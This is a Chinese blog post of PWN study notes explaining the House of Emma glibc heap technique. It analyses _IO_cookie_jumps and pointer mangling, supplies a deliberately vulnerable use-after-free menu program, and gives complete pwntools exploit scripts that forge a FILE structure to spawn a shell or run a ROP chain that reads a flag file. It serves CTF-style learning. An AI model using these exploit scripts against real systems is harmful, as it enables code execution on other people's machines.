【我的 PWN 学习手札】House of Emma
House of Emma
参考文献
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台
文章 - house of emma 心得体会 - 先知社区
前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入IO链,其二是劫持全局的_IO_file_jumps_指针。然而当遇到_IO_file_jumps_不可写的时候,House of Kiwi这种方法失效。高版本的libc取消了__malloc_hook和__free_hook等hook,因此在Kiwi失效的情况下,寻找其他合法的vtable表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables之间的表,看能否被我们利用。
House of Emma主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps中的函数指针来实现类似劫持Hook从而控制程序执行流的效果。
一、源码分析
libio/iofopncook.c中定义了满足vtable合法性要求的表_IO_cookie_jumps,在__start___libc_IO_vtables - __stop___libc_IO_vtables之间
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_cookie_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_file_setbuf),JUMP_INIT(sync, _IO_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_cookie_read),JUMP_INIT(write, _IO_cookie_write),JUMP_INIT(seek, _IO_cookie_seek),JUMP_INIT(close, _IO_cookie_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue),
};
表内的
_IO_cookie_read_IO_cookie_write_IO_cookie_seek_IO_cookie_close
这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:
libio/iofopncook.c
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (read_cb);
#endifif (read_cb == NULL)return -1;return read_cb (cfile->__cookie, buf, size);
}static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endifif (write_cb == NULL){fp->_flags |= _IO_ERR_SEEN;return 0;}ssize_t n = write_cb (cfile->__cookie, buf, size);if (n < size)fp->_flags |= _IO_ERR_SEEN;return n;
}static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (seek_cb);
#endifreturn ((seek_cb == NULL|| (seek_cb (cfile->__cookie, &offset, dir)== -1)|| offset == (off64_t) -1)? _IO_pos_BAD : offset);
}static int
_IO_cookie_close (FILE *fp)
{struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (close_cb);
#endifif (close_cb == NULL)return 0;return close_cb (cfile->__cookie);
}
以_IO_cookie_read为例,将(FILE *)的fp转换为struct _IO_cookie_file,然后从虚表中提取出cookie_read_function_t *read_cb函数指针,将__cookie成员作为其中一个参数进行调用。
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{struct _IO_FILE_plus __fp;void *__cookie;cookie_io_functions_t __io_functions;
};
可以看到,_IO_cookie_file的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus类型,添加__cookie和__io_functions成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h可以看到对结构体中虚表的声明:
/* The structure with the cookie function pointers.The tag name of this struct is _IO_cookie_io_functions_t topreserve historic C++ mangled names for functions takingcookie_io_functions_t arguments. That name should not be used innew code. */
typedef struct _IO_cookie_io_functions_t
{cookie_read_function_t *read; /* Read bytes. */cookie_write_function_t *write; /* Write bytes. */cookie_seek_function_t *seek; /* Seek/tell file position. */cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
对于虚表的利用,类似于hook,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。
然而glibc设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endif
由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write函数汇编代码,看看函数指针在调用前是如何进行解密的。
pwndbg> x/20i _IO_cookie_write 0x7ffff7c78800 <_IO_cookie_write>: endbr64 0x7ffff7c78804 <_IO_cookie_write+4>: push rbp0x7ffff7c78805 <_IO_cookie_write+5>: push rbx0x7ffff7c78806 <_IO_cookie_write+6>: mov rbx,rdi0x7ffff7c78809 <_IO_cookie_write+9>: sub rsp,0x80x7ffff7c7880d <_IO_cookie_write+13>: mov rax,QWORD PTR [rdi+0xf0]0x7ffff7c78814 <_IO_cookie_write+20>: ror rax,0x110x7ffff7c78818 <_IO_cookie_write+24>: xor rax,QWORD PTR fs:0x300x7ffff7c78821 <_IO_cookie_write+33>: test rax,rax0x7ffff7c78824 <_IO_cookie_write+36>: je 0x7ffff7c78837 <_IO_cookie_write+55>0x7ffff7c78826 <_IO_cookie_write+38>: mov rbp,rdx0x7ffff7c78829 <_IO_cookie_write+41>: mov rdi,QWORD PTR [rdi+0xe0]0x7ffff7c78830 <_IO_cookie_write+48>: call rax0x7ffff7c78832 <_IO_cookie_write+50>: cmp rbp,rax0x7ffff7c78835 <_IO_cookie_write+53>: jle 0x7ffff7c7883a <_IO_cookie_write+58>0x7ffff7c78837 <_IO_cookie_write+55>: or DWORD PTR [rbx],0x200x7ffff7c7883a <_IO_cookie_write+58>: add rsp,0x80x7ffff7c7883e <_IO_cookie_write+62>: pop rbx0x7ffff7c7883f <_IO_cookie_write+63>: pop rbp0x7ffff7c78840 <_IO_cookie_write+64>: ret
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│ 0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│ 0x7ffff7fbb778 ◂— 0
... ↓ 6 skipped
pwndbg>
可以看到加密的函数指针存在rax寄存器中,通过ror(Rotate Right)循环右移11位,然后和fs:0x30位置的数据进行xor异或,就得到了真正的函数指针。在x86-64linux中使用fs段寄存器来指向线程本地存储,也即tls。上述调试信息打印出来了用于异或的数值。
二、House of Emma利用手法
基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps,调用相关被劫持函数指针从而劫持程序执行流实现利用。
- 泄露
libc、heap基址 largebin attack写stderr指针- 第二次
largebin attack写fs:0x30的guard - 修复
largebin并申请出堆块 - 如果打
ROP,则在其他堆块上布置好ROP链 - 在申请的堆块上伪造
_IO_cookie_file类型结构体,设置好vtable指针指向_IO_cookie_jumps的合适偏移,设置好_cookie和__io_functions的函数指针 - 通过
House of Kiwi链子__malloc_assert或其他方式触发IO,触发程序流劫持
以pwn.c模板为例
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}
首先泄露libc和heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)
第一次largebin attack篡改stderr指针
# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)

第二次largebin attack修改tls附近的guard
# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)

然后修复并申请出堆heap_base+0x6d0的堆块
# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)
将在申请出来的堆块上布置_IO_cookie_file结构体,计算vtable
pwndbg> p &_IO_cookie_jumps.__write
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40
布置结构体,先确保vtable设置合理,能够触发目标函数,然后再填写_cookie字段和__io_functions字段
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40) # fake vtableedit(2,fake_file)
可以看到,程序通过__malloc_assert进入IO,执行的函数已经被我们替换到_IO_cookie_write
► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <__SI_IO_new_file_xsputn_12>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0rcx: 0
----------------------------------------------------------------------------------------------------► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <_IO_cookie_write>rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"rdx: 0
然后我们可以简单地设置函数指针为system,参数设为字符串/bin/sh\x00的指针
...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)
然后触发__malloc_assert
# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)
从而getshell

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()
如果要走ROP,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)payload_addr = heap_base +0x2a0fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)payload+=bytes(frame)
edit(0,payload)# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)io.interactive()相关文章:
【我的 PWN 学习手札】House of Emma
House of Emma 参考文献 第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台 文章 - house of emma 心得体会 - 先知社区 前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert进入…...
4 Redis4 List命令类型讲解
Redis 列表(List)命令详解 1. Redis 列表(List)简介 Redis 列表(List)是一个简单的字符串列表,按照插入顺序排序。它可以用作 栈(Stack) 和 队列(Queue&…...
CentOS 7 安装 Redis6.2.6
获取资源、下载安装 Redis6.2.6 安装Redis6.2.6 上传到服务器或直接下载(wget http://download.redis.io/releases/redis-6.2.6.tar.gz)、再解压安装 tar -zxvf redis-6.2.6.tar.gz 进入redis解压目录 cd redis-6.2.6先编译 make再执行安装 make PREFI…...
数据库原理4
1.数据库中的数据通常可分为用户数据和系统数据两部分。用户数据是用户使用的数据;系统数据称为数据字典。 2.SQL语言的功能:数据查询;数据操纵;数据定义;数据操作;数据控制 3.对未提交更新的依赖&#x…...
doris: MySQL
Doris JDBC Catalog 支持通过标准 JDBC 接口连接 MySQL 数据库。本文档介绍如何配置 MySQL 数据库连接。 使用须知 要连接到 MySQL 数据库,您需要 MySQL 5.7, 8.0 或更高版本 MySQL 数据库的 JDBC 驱动程序,您可以从 Maven 仓库下载最新或指定版本的…...
Django模型数据删除:详解两种方式
Django模型数据删除:详解两种方式 在Django框架中,数据模型(Model)不仅定义了应用的数据结构,还提供了与数据库交互的接口,包括数据的删除操作。本文将详细介绍两种在Django中删除数据的方式:通…...
C++并发以及多线程的秘密
1.基础概念 并发(Concurrency) 并发是指在同一时间段内,多个任务看起来像是同时执行的。并发并不一定意味着真正的同时执行,它可以是通过时间片轮转等方式在多个任务之间快速切换,让用户感觉多个任务在同时进行。并发…...
自学微信小程序的第十二天
DAY12 1、腾讯地图SDK是一套为开发者提供多种地理位置服务的工具,可以使开发者在自己的应用中加入地图相关功能,轻松访问腾讯地图服务和数据,更好地实现微信小程序的地图功能。 表49:search()方法的常用选项 选项 类型 说明 keyword string POI搜索关键词,默认周边搜索 l…...
⭐算法OJ⭐跳跃游戏【贪心算法】(C++实现)Jump Game 系列 I,II
既股票买卖系列之后的第二组贪心算法题目:跳跃游戏系列。这一篇介绍的两个问题,其输入均为一个数组,每个元素表示在该位置可以跳跃的最大长度。 55. Jump Game You are given an integer array nums. You are initially positioned at the …...
带你从入门到精通——自然语言处理(五. Transformer中的自注意力机制和输入部分)
建议先阅读我之前的博客,掌握一定的自然语言处理前置知识后再阅读本文,链接如下: 带你从入门到精通——自然语言处理(一. 文本的基本预处理方法和张量表示)-CSDN博客 带你从入门到精通——自然语言处理(二…...
ubuntu挂载固态硬盘
Ubuntu 中挂载位于 /dev/sdc1 的固态硬盘,可以按照以下步骤操作: 步骤 1:确认分区信息 首先,确保设备 /dev/sdc1 存在且已正确分区: sudo fdisk -l /dev/sdc # 查看分区表 lsblk # 确认分区路…...
WPF+WebView 基础
1、基于.NET8,通过NuGet添加Microsoft.Web.WebView2。 2、MainWindow.xaml代码如下。 <Window x:Class"Demo.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/win…...
国内光子AI智能引擎:OptoChat AI在南京江北新区亮相
3月3日,从南京市投资促进局传来振奋人心的消息,南京江北新区的一家高科技企业——南京南智先进光电集成技术研究院有限公司(简称“南智光电”),携手南京知满科技等合作伙伴,成功研发出国内首个光子AI智能引…...
vscode离线配置远程服务器
目录 一、前提 二、方法 2.1 查看vscode的commit_id 2.2 下载linux服务器安装包 2.3 安装包上传到远程服务器,并进行文件解压缩 三、常见错误 Failed to set up socket for dynamic port forward to remote port(vscode报错解决方法)-C…...
【安装】SQL Server 2005 安装及安装包
安装包 SQLEXPR.EXE:SQL Server 服务SQLServer2005_SSMSEE.msi:数据库管理工具,可以创建数据库,执行脚本等。SQLServer2005_SSMSEE_x64.msi:同上。这个是 64 位操作系统。 下载地址 https://www.microsoft.com/zh-c…...
使用Maven搭建Spring Boot框架
文章目录 前言1.环境准备2.创建SpringBoot项目3.配置Maven3.1 pom.xml文件3.2 添加其他依赖 4. 编写代码4.1 启动类4.2 控制器4.3 配置文件 5.运行项目6.打包与部署6.1 打包6.2 运行JAR文件 7.总结 前言 Spring Boot 是一个用于快速构建 Spring 应用程序的框架,它简…...
将docker容器打包为.tar包
1. 创建打包脚本 #!/bin/bash # 设置 -e 使得脚本在遇到错误时停止执行 set -e# 必要的参数 exported_container_name"needed_export_container_name_or_id" # 需要被导出的容器的名称或id image_save_name"my_custom_image_name:v25.03.03" # 镜像需…...
SYSTEM文件夹下的文件
sys文件夹下的.c和.h文件里的函数 最重要的倒数第二个 deley文件夹下的.c和.h文件 Systick工作原理 系统滴答定时器是在内核里的 每来一个时钟信号,计数器减一 F1系列时钟源是HCLK(就是AHB总线上的时钟信号) Systick控制寄存器 Systick重装…...
GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks
GPPT: Graph Pre-training and Prompt Tuning to Generalize Graph Neural Networks KDD22 推荐指数:#paper/⭐⭐# 动机 本文探讨了图神经网络(GNN)在迁移学习中“预训练-微调”框架的局限性及改进方向。现有方法通过预训练(…...
【SegRNN 源码理解】PMF的多步并行预测
位置编码 elif self.dec_way "pmf":if self.channel_id:# m,d//2 -> 1,m,d//2 -> c,m,d//2# c,d//2 -> c,1,d//2 -> c,m,d//2# c,m,d -> cm,1,d -> bcm, 1, dpos_emb torch.cat([self.pos_emb.unsqueeze(0).repeat(self.enc_in, 1, 1),self.cha…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频
使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...
